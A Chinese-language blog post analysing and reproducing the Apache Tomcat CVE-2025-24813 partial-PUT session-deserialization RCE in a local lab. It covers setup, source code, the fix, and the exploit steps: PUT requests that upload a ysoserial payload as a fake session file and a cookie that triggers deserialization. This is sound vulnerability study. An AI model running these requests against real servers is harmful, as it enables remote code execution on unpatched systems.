前言
最近看到的漏洞,还涉及到Java、Tomcat和session反序列化,不得不学习了。
还是AI助我。
影响版本
先问问AI受影响版本然后再搭建环境:
1 2 3 4 5 6
| 该漏洞影响以下Apache Tomcat版本:
9.x系列:9.0.0.M1至9.0.98 10.x系列:10.1.0.M1至10.1.34 11.x系列:11.0.0.M1至11.0.2 (完整列表可参考Apache官方公告)
|
漏洞原理
来自AI总结。
文件名处理逻辑缺陷
当Tomcat的DefaultServlet启用写入功能时,处理PUT请求会将用户提供的文件路径中的斜杠/替换为点号.,并将文件写入临时目录(默认为$CATALINA_BASE/temp)。例如,攻击者构造的恶意路径/WEB-INF/web.xml会被转换为WEB-INF.web.xml,绕过目录层级限制。
会话持久化与反序列化链结合
若应用同时满足以下条件,攻击者可上传恶意序列化文件至会话存储目录,并通过JSESSIONID触发反序列化操作实现RCE:
- 启用DefaultServlet写入功能(默认禁用)
- 支持Partial PUT请求(默认启用)
- 使用Tomcat默认会话存储路径(需额外配置)
- 依赖存在反序列化漏洞的库(如commons-collections)
环境搭建
去官方网站下载一个9.0.98版本的Tomcat作为漏洞环境,解压即用很方便。
根据漏洞原理,漏洞搭建还需要完成三个步骤。
启用会话持久化
修改conf/context.xml,添加一段:
1 2 3
| <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/> </Manager>
|
此配置将Session数据存储在默认路径$CATALINA_BASE/work/Catalina/localhost/下。
开启DefaultServlet写入权限
修改conf/web.xml文件,找到DefaultServlet配置,添加一段:
1 2 3 4
| <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>
|
此配置允许通过PUT方法写入文件。
引入反序列化漏洞
在lib目录下面放一个含有反序列化漏洞的jar文件,比如commons-collections的jar文件。
漏洞分析
先观察一下PUT请求的处理方式,找到DefaultServlet类的doPut函数,一进来就看到判断readOnly配置:
1 2 3
| if (this.readOnly) { this.sendNotAllowed(req, resp); }
|
如果将readOnly配置为了false,就会进入写入文件环节:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| String path = this.getRelativePath(req); WebResource resource = this.resources.getResource(path); Range range = this.parseContentRange(req, resp); if (range != null) { InputStream resourceInputStream = null;
try { if (range == IGNORE) { resourceInputStream = req.getInputStream(); } else { File contentFile = this.executePartialPut(req, range, path); resourceInputStream = new FileInputStream(contentFile); }
if (this.resources.write(path, resourceInputStream, true)) { if (resource.exists()) { resp.setStatus(204); } else { resp.setStatus(201); } } ... } }
|
executePartialPut函数会替换访问路径中的斜杠/为点号.:
1
| String convertedResourcePath = path.replace('/', '.');
|
再来摸索一下Tomcat和session机制,写一个简单的test.jsp文件,放到webapps/test目录下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <%@ page contentType="text/html;charset=UTF-8" %> <html> <body> <!-- 存储Session --> <% session.setAttribute("count", 1); %> <!-- 获取Session --> <p>访问次数: <%= session.getAttribute("count") %></p> <!-- 删除Session --> <a href="logout.jsp">退出登录</a> </body> </html>
|
该jsp可以保存和读取session,带上JSESSIONID访问并保存好数据后,关闭Tomcat,Tomcat就会将session的内容序列化后保存到文件里,session文件路径为work/Catalina/localhost/test。
测试一下PUT方法:
1 2 3 4 5 6
| PUT /test/xxxxx/session HTTP/1.1 Host: localhost:8080 Content-Length: 1000 Content-Range: bytes 0-1000/1200
test
|
然后在work/Catalina/localhost/test目录下就能看到.xxxxx.session文件了,由于PUT方式上传的虚假session文件跟正经的session文件都在同一个目录下,因此可以上传session,再设置JSESSIONID=.xxxxx来触发反序列化,但是session文件的格式看起来并不是简单的仅仅一个序列化对象,而是多种数据的结构体。
观察一下session的读取方式,根据修改了的配置文件,session持久化保存需要配置的类为PersistentManager和FileStore,将Tomcat的lib目录导入IDEA项目搜索一下就能找到类对应的字节码了。
找到FileStore类的save函数,关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());
try { ObjectOutputStream oos = new ObjectOutputStream(new BufferedOutputStream(fos));
try { ((StandardSession)session).writeObjectData(oos); } catch (Throwable var9) { try { oos.close(); } catch (Throwable var8) { var9.addSuppressed(var8); }
throw var9; }
oos.close(); }
|
使用StandardSession类的writeObjectData函数将session序列化后写入文件中,后面会进入到doWriteObject函数中:
1 2 3 4 5 6 7 8 9 10
| protected void doWriteObject(ObjectOutputStream stream) throws IOException { stream.writeObject(this.creationTime); stream.writeObject(this.lastAccessedTime); stream.writeObject(this.maxInactiveInterval); stream.writeObject(this.isNew); stream.writeObject(this.isValid); stream.writeObject(this.thisAccessedTime); stream.writeObject(this.id); ... }
|
可以看到,session文件中确实存在多种序列化数据,但是也可以看到序列化过程统一使用的是writeObject,无论是long还是其他类型的数据,也就是说我们可以不管它的结构,只需要在session文件中存放一个序列化对象,就能触发反序列化了。
再观察一下反序列化过程,找到doReadObject函数:
1 2 3 4 5 6 7 8
| this.authType = null; this.creationTime = (Long)stream.readObject(); this.lastAccessedTime = (Long)stream.readObject(); this.maxInactiveInterval = (Integer)stream.readObject(); this.isNew = (Boolean)stream.readObject(); this.isValid = (Boolean)stream.readObject(); this.thisAccessedTime = (Long)stream.readObject(); this.principal = null;
|
先readObject再强行类型转换,那思路通。
漏洞利用
先把带有反序列化漏洞的commons-collections.jar放到webapps/test/lib目录下,再使用ysoserial生成一个序列化数据文件,同时base64编码一下,结果试了一下都不成功。
只能开始尝试调试Tomcat了,在IDEA中新建一个webapp项目,然后引入Tomcat的lib目录,再把commons-collections.jar放到lib目录下,最后配置本地Tomcat启动。
根据启动时的命令行信息,IDEA启动的Tomcat工作目录在用户的\AppData\Local\JetBrains\IntelliJIdea2024.3\tomcat\目录下,部署的目录为tomcat_war_exploded,因此需要发包:
1 2 3 4 5 6
| PUT /tomcat_war_exploded/xxxxx/session HTTP/1.1 Host: localhost:8080 Content-Length: 1000 Content-Range: bytes 0-1000/1200
{{base64decode(序列化数据)}}}}
|
然后在工作目录的work\Catalina\localhost\tomcat_war_exploded目录下能看到上传的session文件,也可以给class文件下断点调试了。
然后带上JSESSIONID访问并且调试一下:
1 2 3
| GET /tomcat_war_exploded/ HTTP/1.1 Host: localhost:8080 Cookie: JSESSIONID=.xxxxx
|
发现问题:
1
| java.io.StreamCorruptedException: invalid stream header: FFFE08E1
|
看起来是Windows的锅,确实看base64后的序列化数据开头就不对劲。
直接使用IDEA打开ysoserial,重新生成base64编码后的payload再次尝试:
1 2 3 4
| ByteArrayOutputStream bos = new ByteArrayOutputStream(); Serializer.serialize(object, bos); String serializedBytes = new String(Base64.getEncoder().encode(bos.toByteArray())); System.out.println(serializedBytes);
|
成功触发反序列化漏洞。
漏洞修复
根据AI:
1 2
| 代码层修复细节 官方在DefaultServlet的doPut方法中增加安全检查,限制临时文件路径的生成规则,避免用户输入的/被替换为.后绕过目录限制。具体修改涉及对executepartialput方法的调用逻辑。
|
修改了executePartialPut函数:
1 2 3
| File tempDir = (File)this.getServletContext().getAttribute("javax.servlet.context.tempdir"); File contentFile = File.createTempFile("put-part-", (String)null, tempDir); RandomAccessFile randAccessContentFile = new RandomAccessFile(contentFile, "rw");
|
删掉了将/变成.的代码。
参考
Tomcat CVE-2025-24813 RCE复现(含环境下载地址)
汤姆猫最新CVE复现及分析